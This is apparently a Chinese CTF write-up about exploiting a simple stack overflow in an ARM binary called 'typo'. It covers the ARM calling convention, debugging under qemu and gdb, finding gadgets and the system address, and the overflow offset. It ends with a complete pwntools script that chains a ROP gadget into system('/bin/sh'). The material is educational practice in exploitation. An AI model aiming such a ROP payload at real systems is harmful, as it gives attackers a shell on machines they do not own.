盒子
盒子
文章目录
  1. 前言 :
  2. 正文 :
  3. EXP :

ARM PWN

前言 :

前面说了arm pwn的环境搭建,现在就来练练手,来做一下arm的pwn的简单栈溢出。

正文 :

先来说一说arm的一些基础指令集:

先看一下 arm 下的函数调用约定,函数的第 1 ~ 4 个参数分别保存在 r0 ~ r3 寄存器中, 剩下的参数从右向左依次入栈, 被调用者实现栈平衡,函数的返回值保存在 r0 中。

ARM_Calling_Convention

其中的 b/bl 等指令实现跳转; pc 寄存器相当于 x86 的 eip,保存下一条指令的地址,也是我们要控制的目标。

这里调试的话需要挂载文件到端口上:

1
$ qemu-arm -g 1212 ./typo
1
2
3
$ gdb-multiarch ./typo -q
$ pwndbg> set architecture arm
$ pwndbg> target remote localhost:1212

check一下:

1
2
3
4
5
6
7
➜  ARM checksec ./typo 
[*] '/home/parallels/Desktop/ARM/typo'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)

就开了nx,所以基本上可以说是修改返回值到system地址执行即可。先找一些gadget。

pop r0 :

1
2
➜  ARM ROPgadget --binary ./typo --only 'pop|ret' | grep r0
0x00020904 : pop {r0, r4, pc}

/bin/sh :

1
2
3
4
➜  ARM ROPgadget --binary ./typo --string '/bin/sh'        
Strings information
============================================================
0x0006c384 : /bin/sh

这里的system函数很难找,这个二进制文件被去除了符号表,我们可以先用 rizzo 来恢复部分符号表(关于恢复符号表可以看参考链接)。虽然 rizzo 在这个 binary 上恢复的效果不好,但很幸运,在识别出来的几个函数中刚好有 system。

1
2
3
4
5
6
7
8
9
10
char *__fastcall system(int a1)
{
char *result; // r0

if ( a1 )
result = sub_10BA8(a1);
else
result = (char *)(sub_10BA8((int)"exit 0") == 0);
return result;
}

system_addr :0x110B4

接下来只要找到偏移地址就可以了,因为这里是挂载在端口上调试的,所以想用地址相减去计算偏移有点困难,这里有两种办法:

  1. 使用pattern create 200pattern offset AAAA
  2. 使用pwntools的cyclic :cyclic 200cyclic -l AAAA
1
pwndbg> cyclic 200

这里使用pattern莫名其妙多了一个@,不知道为什么。。

结果算出来偏移是112

接下来就好写exp了。

EXP :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

p = process('./typo')
#p = remote("pwn2.jarvisoj.com", 9888, timeout = 2)
context.log_level = 'debug'

p.recvuntil('Input ~ if you want to quit\n')
p.send('\n')

sleep(1)

pop_ret = 0x00020904
bin_addr = 0x0006c384
system_addr = 0x110b4
payload = 'A'*112 + p32(pop_ret) + p32(bin_addr) + p32(0x0) + p32(system_addr)*2

p.sendline(payload)

p.interactive()
支持一下
扫一扫,支持v1nke
  • 微信扫一扫
  • 支付宝扫一扫